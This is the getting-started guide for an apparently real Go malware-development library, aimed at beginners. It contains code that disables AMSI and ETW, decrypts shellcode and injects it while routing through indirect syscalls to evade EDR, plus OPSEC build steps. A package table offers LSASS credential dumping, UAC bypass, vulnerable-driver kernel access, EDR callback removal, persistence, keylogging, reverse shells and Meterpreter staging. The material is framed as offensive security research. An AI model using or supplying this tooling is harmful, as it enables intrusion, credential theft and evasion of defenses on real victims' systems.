Getting Started
Welcome to maldev — a modular Go library for offensive security research. This guide assumes zero malware development experience.
Prerequisites
- Go 1.21+ installed
- Windows for most techniques (some work cross-platform)
- Basic Go knowledge (functions, packages, error handling)
- For OPSEC builds:
garble(go install mvdan.cc/garble@latest)
Installation
go get github.com/oioio-space/maldev@latest
Core Concepts
What is maldev?
maldev is a library, not a framework. You import the packages you need and compose them:
graph LR
A[Your implant] --> B[inject/ — run shellcode]
A --> C[evasion/ — avoid detection]
A --> D[c2/ — communicate home]
A --> E[cleanup/ — cover tracks]
The Five Levels of Stealth
Every technique has a detection level declared in its doc.go.
Choose based on your threat model:
| Level | Meaning | Example |
|---|---|---|
| very-quiet | Indistinguishable from baseline activity | RtlGetVersion, NetGetJoinInformation |
| quiet | Used routinely but in attacker-shaped patterns | Indirect syscall, hash-resolved import |
| moderate | Watched by EDR but common in benign software | RWX VirtualAlloc, thread creation |
| noisy | Pattern is in every vendor's signature DB | Cross-process inject, UAC bypass |
| very-noisy | Triggers an alert by default | NtLoadDriver for an unsigned driver, NtUnloadDriver |
Find the detection level for any package on its tech-md page (e.g.,
docs/techniques/evasion/amsi-bypass.md)
and in its doc.go # Detection level section.
The Caller Pattern
The most important concept in maldev. Every function that calls Windows NT syscalls accepts an optional *wsyscall.Caller:
// Without Caller — uses standard WinAPI (hookable by EDR)
injector, _ := inject.NewInjector(&inject.Config{
Method: inject.MethodCreateRemoteThread,
PID: pid,
})
injector.Inject(shellcode)
// With Caller — routes through indirect syscalls (bypasses EDR hooks)
injector, _ = inject.Build().
Method(inject.MethodCreateRemoteThread).
PID(pid).
IndirectSyscalls().
Create()
injector.Inject(shellcode)
Rule of thumb: Always create a Caller for real operations. Pass nil only for testing.
Your First Program
Step 1: Evasion (disable defenses)
package main
import (
"github.com/oioio-space/maldev/evasion"
"github.com/oioio-space/maldev/evasion/amsi"
"github.com/oioio-space/maldev/evasion/etw"
)
func main() {
// Apply evasion techniques before doing anything suspicious
techniques := []evasion.Technique{
amsi.ScanBufferPatch(), // disable AMSI scanning
etw.All(), // disable ETW logging
}
evasion.ApplyAll(techniques, nil) // nil = standard WinAPI
}
Step 2: Load shellcode
import "github.com/oioio-space/maldev/crypto"
// Decrypt your payload (encrypted at build time)
key := []byte{/* your 32-byte AES key */}
shellcode, _ := crypto.DecryptAESGCM(key, encryptedPayload)
Step 3: Inject
import "github.com/oioio-space/maldev/inject"
cfg := &inject.Config{
Method: inject.MethodCreateThread, // self-injection
}
injector, _ := inject.NewInjector(cfg)
injector.Inject(shellcode)
Step 4: Build for operations
# Development build (with logging)
make debug
# Release build (OPSEC, no strings, no debug info)
make release
Per-Package Quick-Reference
If you know the technique you want, jump straight to the matching package:
| Goal | Package | Doc |
|---|---|---|
| Encrypt the payload before embedding | crypto | Payload Encryption |
| Encode the payload for transport | encode | Encode |
| Patch AMSI / ETW in-process | evasion/amsi, evasion/etw | AMSI · ETW |
| Restore hooked ntdll | evasion/unhook | NTDLL Unhooking |
| Sleep with masked memory | evasion/sleepmask | Sleep Mask |
| Spoof a callstack frame | evasion/callstack | Callstack Spoof |
| Remove EDR kernel callbacks | evasion/kcallback | Kernel-Callback Removal |
| BYOVD kernel R/W | kernel/driver (rtcore64) | BYOVD RTCore64 |
| Direct/indirect syscalls | win/syscall | Syscall Methods |
| Inject shellcode | inject/* (15 methods) | Injection |
| Reflectively load a PE | pe/srdi | PE → Shellcode |
| Strip Go fingerprints | pe/strip | Strip + Sanitize |
| Run a .NET assembly in-process | runtime/clr | Runtime |
| Run a Beacon Object File | runtime/bof | Runtime |
| Dump LSASS | credentials/lsassdump | LSASS Dump |
| Parse a MINIDUMP for NT hashes | credentials/sekurlsa | LSASS Parse |
| Bypass UAC | privesc/uac | Privilege |
| Spoof a process command-line | process/tamper/fakecmd | FakeCmd |
| Suspend Event Log threads | process/tamper/phant0m | Phant0m |
| Persistence — registry | persistence/registry | Registry |
| Persistence — Startup folder | persistence/startup | Startup Folder |
| Persistence — scheduled task | persistence/scheduler | Task Scheduler |
| Capture clipboard / keys / screen | collection/{clipboard,keylog,screenshot} | Collection |
| Reverse shell | c2/shell | Reverse Shell |
| Metasploit staging | c2/meterpreter | Meterpreter |
| Multi-session listener (operator side) | c2/multicat | Multicat |
| Named-pipe transport | c2/transport/namedpipe | Named Pipe |
| Wipe in-process buffers | cleanup/memory | Memory Wipe |
| Self-delete on exit | cleanup/selfdel | Self-Delete |
| Compute fuzzy hash similarity | hash | Fuzzy Hashing |
For the full layered map, see Architecture § Per-Package Quick-Reference.
What to Read Next
| Goal | Read |
|---|---|
| Understand the architecture | Architecture |
| Learn injection techniques | Injection Techniques |
| Learn EDR evasion | Evasion Techniques |
| Understand syscall bypass | Syscall Methods |
| Set up C2 communication | C2 & Transport |
| Build for operations | OPSEC Build Guide |
| See composed examples | Examples |
| Full MITRE coverage | MITRE ATT&CK + D3FEND Mapping |
Terminology Quick Reference
| Term | Meaning |
|---|---|
| Shellcode | Raw machine code bytes that execute independently |
| Injection | Running code in another process's address space |
| EDR | Endpoint Detection & Response (e.g., CrowdStrike, Defender) |
| Hook | EDR modification of function prologues to intercept calls |
| Syscall | Direct kernel call, bypassing userland hooks |
| SSN | Syscall Service Number — index into kernel's function table |
| PEB | Process Environment Block — per-process kernel structure |
| AMSI | Antimalware Scan Interface — Microsoft's content scanning API |
| ETW | Event Tracing for Windows — kernel telemetry system |
| Caller | maldev's abstraction for choosing syscall routing method |
| OPSEC | Operational Security — avoiding detection and attribution |